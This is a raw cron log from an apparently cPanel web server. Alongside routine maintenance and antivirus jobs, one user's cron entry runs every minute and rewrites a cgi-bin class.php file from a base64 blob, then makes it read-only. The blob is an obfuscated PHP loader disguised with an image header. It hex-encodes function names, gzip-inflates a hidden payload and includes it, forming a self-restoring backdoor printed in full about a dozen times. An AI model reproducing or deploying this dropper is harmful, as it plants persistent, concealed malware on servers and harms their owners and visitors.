Sep 12 20:54:01 server CROND[16157]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:55:01 server CROND[16536]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:55:01 server CROND[16543]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 20:55:01 server CROND[16545]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 20:55:01 server CROND[16546]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 20:55:01 server CROND[16552]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:55:01 server CROND[16547]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 20:55:01 server CROND[16550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:56:01 server CROND[17459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:56:01 server CROND[17461]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:56:01 server CROND[17467]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:57:01 server CROND[17837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:57:01 server CROND[17838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:57:01 server CROND[17840]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 20:57:01 server CROND[17839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:58:01 server CROND[18204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:58:01 server CROND[18205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:58:01 server CROND[18206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:59:01 server CROND[18569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:59:01 server CROND[18570]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:59:01 server CROND[18571]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:00:01 server CROND[18959]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 21:00:01 server CROND[18958]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 21:00:01 server CROND[18961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:00:01 server CROND[18962]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 21:00:01 server CROND[18963]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 21:00:01 server CROND[18964]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 21:00:01 server CROND[18967]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 12 21:00:01 server CROND[18965]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:00:01 server CROND[18966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:01:01 server CROND[19897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:01:01 server CROND[19898]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:01:01 server CROND[19905]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 21:01:01 server CROND[19906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:01:01 server run-parts(/etc/cron.hourly)[19905]: starting 0anacron
Sep 12 21:01:02 server run-parts(/etc/cron.hourly)[19925]: finished 0anacron
Sep 12 21:02:01 server CROND[20349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:02:01 server CROND[20350]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:02:01 server CROND[20351]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:03:01 server CROND[20798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:03:01 server CROND[20799]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:03:01 server CROND[20800]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:04:01 server CROND[21185]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:04:01 server CROND[21186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:04:01 server CROND[21187]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:05:01 server CROND[21572]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 21:05:01 server CROND[21582]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:05:01 server CROND[21577]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 21:05:01 server CROND[21580]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 21:05:01 server CROND[21581]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 21:05:01 server CROND[21579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
